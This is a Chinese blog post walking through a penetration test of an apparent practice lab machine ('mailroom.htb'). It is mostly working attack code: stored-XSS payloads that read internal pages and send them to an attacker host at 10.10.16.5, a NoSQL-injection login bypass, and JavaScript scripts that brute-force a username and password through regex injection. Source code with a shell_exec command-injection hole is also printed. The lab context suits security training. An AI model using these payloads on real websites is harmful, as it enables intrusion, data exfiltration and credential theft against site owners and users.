渗透测试 | 一次利用XSS读取源码_xss对应源码在哪找-优快云博客

常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等，本次渗透首先通过XSS漏洞，利用XMLRequest发起ajax请求，实现了发起http请求的目的，并且把请求的结果返回了，通过代码审计，打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术，渗透过程涉及很多小的知识点，充满乐趣与挑战，下面开始此次渗透之旅。

一、信息收集

nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209

看来要从80端口的web服务硬着开始了。

目录扫描一波无果，发现还存在子域名；

另外一个子域名的发现是需要考耐心和水平的，（别忘记了查看源码的重要性）；

接下来又是常规的对子域名开展一波信息收集，然后就进入漏洞挖掘阶段。

二、漏洞挖掘

1、XSS漏洞

进到web界面各种尝试发现了一个xss，

并没有过滤，可以成功触发；

第一反应是想到抓cookie，尝试这个payload来获取cookie失败了，什么都没拿到；

后续也尝试了其他利用方法均无果。

2、XMLRequest发起ajax请求

在网上搜索后发现另一种方法，利用xss，最终实现了发起http请求的目的，并且把请求的结果返回了，我也尝试一下；

<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
    if(fetch_req.readyState == XMLHttpRequest.DONE) {
        var exfil_req = new XMLHttpRequest();
        exfil_req.open("POST", "http://10.10.16.5", false);
        exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);
    }
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>

nc -lvnp 80

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。

我们直接在kali本地访问子域名,发现403了。

那么接下来我们尝试使用xss进行请求。

└─# cat pwned.js                                                                                            
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);

Burp报文

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

email=1%401.com&title=1&message=<script src="http://10.10.16.5/pwned.js"></script>

成功接收回显！！读取到的内容是base64 加密过后的内容。

3、代码审计

对主要的auth.php认证文件进行审计；

<?php
require 'vendor/autoload.php';

session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
  header('HTTP/1.1 503 Service Unavailable');
  echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
  exit;
}
$collection = $client->backend_panel->users; // Select the users collection

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Verify the parameters are valid
  if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
  }

  // Check if the email and password are correct
  $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

  if ($user) {
    // Generate a random UUID for the 2FA token
    $token = bin2hex(random_bytes(16));
    $now = time();

    // Update the user record in the database with the 2FA token if not already sent in the last minute
    $user = $collection->findOne(['_id' => $user['_id']]);
    if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
        $collection->updateOne(
          ['_id' => $user['_id']],
          ['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
        );

        // Send an email to the user with the 2FA token
        $to = $user['email'];
        $subject = '2FA Token';
        $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
        mail($to, $subject, $message);
    }
    // Return a JSON response notifying about 2fa
    echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
    exit;

  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
  }
}

// Check for invalid parameters
else if (!isset($_GET['token'])) {
  header('HTTP/1.1 400 Bad Request');
  echo json_encode(['success' => false, 'message' => 'Email and password are required']);
  exit;
}

// Check if the form has been submitted
else if (isset($_GET['token'])) {
  // Verify Token parameter is valid
  if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
    exit;
  }

  // Check if the token is correct
  $user = $collection->findOne(['2fa_token' => $_GET['token']]);

  if ($user) {
    // Set the logged_in flag and name in the session
    $_SESSION['logged_in'] = true;
    $_SESSION['name'] = explode('@', $user['email'])[0];

    // Remove 2FA token since user already used it to log in
    $collection->updateOne(
      ['_id' => $user['_id']],
      ['$unset' => ['2fa_token' => '']]
    );

    // Redirect to dashboard since login was successful
    header('Location: dashboard.php');
    exit;
  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
    exit;
  }
}


?>

审计了一下，这个页面的作用是身份认证，正如文件名auth.php 一样，首先观察到后端用的数据库为 MongoDB，MongoDB注意会有Nosql注入的情况，然后就是开始身份认证逻辑。

首先检查用户是否通过POST请求发送emali 和 password 字段，在数据库中查找用户按照这个条件，如果找到该用户，那么进入2FA验证逻辑。服务器会发送一封邮件到指定的邮箱中，点击这个邮箱中收到的链接才会在session中存放一个token字段，最后校验这个token正确的话才表示登入成功，token长度为32个字符，且为字符串类型。

这里是存在nosql注入的，有关于nosql注入的知识请自行补充。

在看下inspect.php的源码；

<?php
session_start(); // Start a session
// Check if authorized
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
  header('Location: index.php'); // The user is NOT logged in, redirect back to the login page
  exit;
}

$data = '';
if (isset($_POST['inquiry_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-0">');
  if ($start === false) {
    // Data not found
    $data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}

$status_data = '';
if (isset($_POST['status_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['status_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-1">');
  if ($start === false) {
    // Data not found
    $status_data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}


?>

这个文件带有命令执行！！！shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");后续会利用到。

因为网站还部署了git，所以简单介绍下如何发现所有的git用户；

4、Nosql注入

我们看到auth.php中验证是通过和MongoDB 交互的，我们在这里尝试 nosql

# cat pwnnosql.js

var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");

可以看到我们成功登录了

接下来想办法通过nosql爆破用户名和密码

爆破用户名；

下面的脚本通过递归调用的方式慢慢爆出我们想要的内容

#cat pwnuser.js
async function callAuth(mail) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);
        }
    };
    http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "");

在burp上连续发送两个包；

我们可以看到返回了username 末尾的三个字符

那我们修改一下脚本

async function callAuth(mail) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);
        }
    };
    http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "tan");

把cal(chars,"") 修改成 cal(chars,"tan");

继续前面的操作,burpsuite 上发送两个包

可以看到又多爆出了3个email 的字符，一直这样操作直到，直到不再有新的字符生成。

爆破密码，同样的方法；

async function callAuth(pass) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(pass);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~", pass);
        }
    };
    http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {
    fetch("http://10.10.16.5/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, pass) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(pass+chars[i])
    }
}
cal(chars, "");